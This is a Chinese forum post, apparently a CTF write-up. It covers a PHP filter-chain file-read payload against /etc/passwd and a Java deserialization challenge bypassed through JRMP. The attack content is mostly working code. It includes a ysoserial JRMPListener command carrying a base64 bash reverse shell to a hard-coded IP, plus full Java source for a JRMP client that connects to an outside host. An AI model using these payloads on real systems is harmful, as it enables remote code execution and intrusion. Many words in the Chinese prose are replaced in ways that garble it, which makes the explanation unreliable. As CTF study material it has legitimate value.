  1. php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd
复制代码

题目溯源:
1.hxp 2021 counter
2.2023极客大挑战 ezlfi
baby_unserialize

考点:Java反序列化+Jrmp绕过黑名单

发现反序列化的点

URLDNS链验证

阐明入口类 source Hashmap可用
该处存在Java反序化漏洞点,而且出网
  1. welcome to this fantastic tool  
  2. Try this one  
  3. rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l  (you deserialize me down, I shall become more powerful than you can possibly imagine)
  4. {http://irrfzuahtu.dgrh3.cnhttp://irrfzuahtu.dgrh3.cn}  
  5. Fin!
复制代码
直接打CC链,发现对payload base64解码后对关键词做了关键字过滤
TempleteImport 类被禁 考虑绕过Sink实行
  1. Error occurred: Class name not accepted: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
复制代码
黑盒审计:猜测情况中是更为 通用性 的 CC3.2版本
简单试了一下其他1,3,5,7,11,CCK1没有成功
这里可以逐一对恶意类的过滤探索
可以像拼图一样 将Source,Gadget,Sink举行连接
在本地可以搭建情况用CodeQL辅助分析,但是是黑盒测试我们无法判断它具体是什么逻辑,大概花费的时间会特别多,这也不像新生赛会考的
以是我们换个思绪:
这里直接用Jrmp绕过黑名单限制
开个Jrmp恶意服务器 做中心署理举行跳板绕过(类似二次反序列化)
用CC3 做恶意荷载
  1. java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections3 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDguMTM1LjgyLjE5MC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'
复制代码

本意是想直接用 ysoserial 举行 Client的配置
但是对yso天生的Client做了 关键词过滤
以是直接写个Jrmp client端天生:
  1. import sun.rmi.server.UnicastRef;  
  2. import sun.rmi.transport.LiveRef;  
  3. import sun.rmi.transport.tcp.TCPEndpoint;  
  4. import java.io.ByteArrayInputStream;  
  5. import java.io.ByteArrayOutputStream;  
  6. import java.io.ObjectInputStream;  
  7. import java.io.ObjectOutputStream;  
  8. import java.rmi.server.ObjID;  
  9. import java.rmi.server.RemoteObjectInvocationHandler;  
  10. import java.util.Base64;  
  11. public class Jrmp {  
  12.     public static void main(String[] args) throws Exception {  
  13.         ObjID id = new ObjID();  
  14.         TCPEndpoint te = new TCPEndpoint("23.94.38.86", 12345);
  15.         LiveRef liveRef = new LiveRef(id, te, false);
  16.         UnicastRef ref = new UnicastRef(liveRef);
  17.         RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);   
  18.   
  19.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
  20.         ObjectOutputStream oos = new ObjectOutputStream(barr);
  21.         oos.writeObject(obj);
  22.         oos.close();
  23.         //Jrmp client to try try
  24.         byte[] byteArray = barr.toByteArray();
  25.   
  26.         String res = Base64.getEncoder().encodeToString(byteArray);
  27.         System.out.println(res);
  28.         new ObjectInputStream(new ByteArrayInputStream(byteArray)).readObject();  
  29.     }  
  30. }
复制代码

反弹shell后在情况变量中拿到flag

荣幸拿了一血

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

乌市泽哥

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表